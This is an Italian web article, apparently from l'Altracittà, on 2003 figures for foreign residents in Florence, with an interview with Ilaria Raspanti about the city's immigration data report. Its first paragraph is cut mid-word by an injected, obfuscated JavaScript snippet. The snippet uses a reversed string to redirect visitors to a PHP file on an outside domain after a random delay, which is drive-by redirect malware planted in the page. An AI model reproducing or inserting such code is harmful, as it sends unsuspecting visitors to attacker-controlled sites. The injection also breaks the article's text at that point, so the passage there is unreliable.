Gli stranieri in cifre

image_pdfimage_print

28. 332 nel comune di Firenze, 57.111 nella provincia. Sono i numeri degli stranieri residenti a Firenze al 31.12.2003. Tradotti in percentuale, rispettivamente il 7, 7% ed il 5,9% del totale dei residenti. Numeri che, cont (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando anche i soggiornanti non residenti, arrivano ad una stima di oltre 40.000 persone nel comune e quasi 80.000 nella provincia, per un’incidenza dell’11 e dell’8% sul totale della popolazione, in netta crescita rispetto agli anni scorsi (+ 20.335 soggiornanti in provincia rispetto al 2002). I dati aggiornati provengono dal Comune di Firenze, che ha diffuso la quarta edizione di una raccolta ed elaborazione di dati, curata da Ilaria Raspanti, storica collaboratrice dell’Altracittà, che non ha potuto sottrarsi ad una chiacchierata sulla sua attività.
Lavorare con le fonti sull’immigrazione – ci racconta Ilaria – non è sempre facile perché sono molto eterogenee fra loro e spesso difficili da confrontare. I dati disponibili, raccolti per motivi pratici come l’inserimento nell’anagrafe o il rilascio di permessi di soggiorno, e non per elaborazioni statistiche, a volte non sono completi, ma parziali… non tutte le iscrizioni scolastiche, ad esempio, sono complete della nazionalità e del sesso. Anche per questo è importante offrire una panoramica vasta e ‘ragionata’ di dati, ampliando la conoscenza su un fenomeno ‘trasversale’ come l’immigrazione, legato a tanti aspetti giuridici e sociali che vanno dalla presenza sul territorio e nelle scuole, all’inserimento lavorativo, fino anche alla presenza nelle carceri.
Cosa ne esce? C’è qualcosa che salta all’occhio?
Gli effetti della regolarizzazione sono lampanti. Come già avvenuto per le precedenti sanatorie, si verifica un’impennata delle presenze, perché la parte del ‘sommerso’ che viene a galla provoca un aumento repentino degli stranieri regolari. Non è detto però che tutti i nuovi regolari riescano a mantenersi tali nel corso del tempo: spesso accade che alla prima scadenza dei permessi una grossa fetta non riesca a presentare i requisiti per il rinnovo, rischiando l’espulsione o ricadendo nell’irregolarità. Le maglie strette della Bossi-Fini non sono certo di aiuto: ad esempio, se uno straniero dovesse perdere il lavoro, il periodo massimo in cui si può stare in attesa di occupazione è calato da un anno a 6 mesi.
Quali sono le principali nazionalità?
Continua a salire il numero delle comunità ‘storiche’ – cinesi, albanesi, filippini e marocchini – mentre con la regolarizzazione si sono rafforzate altre comunità, prima poco rappresentate. È il caso della Romania, che crescendo del 163% è diventata terza “in classifica” tra i soggiornanti, e di altri Paesi dell’Europa centro orientale come la Polonia, l’Ucraina, la Moldavia. In tutti i questi casi sono le donne a prevalere nettamente: è un altro segnale degli effetti delle regolarizzazioni nel settore del lavoro domestico.
Quali sono i motivi del soggiorno?
Il lavoro pesa per il 66,5%, seguono i motivi familiari con il 23,1%, ed i motivi di studio, con un significativo 6,2% che segnala come Firenze sia anche un polo d’attrazione per l’università. Infatti in un anno gli iscritti stranieri sono passati da 1.604 a 1.932.
E a scuola com’è la situazione?
Nelle scuole statali di Firenze gli alunni stranieri sono l’8,8% del totale e si concentrano soprattutto nelle elementari e medie. Anche negli asili il numero sta crescendo. In effetti l’immigrazione sta aiutando a saldare in positivo il bilancio demografico della nostra città, grazie alle nascite tra gli stranieri. Un unico numero può essere citato a questo proposito: 664. Sono i nuovi nati che hanno almeno un genitore straniero e rappresentano il 20% di tutti i bambini nati a Firenze nel 2003.

“Immigrazione. Le cifre” è disponibile presso l’Ufficio Immigrati del Comune di Firenze, Via Verdi 24 (lun-mar-gio-ven dalle 9 alle 13; martedì e giovedì anche dalle 15 alle 17.30) e sulla rete civica all’indirizzo www.comune.fi.it/servizi_pubblici/stranieri/immigra.htm

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *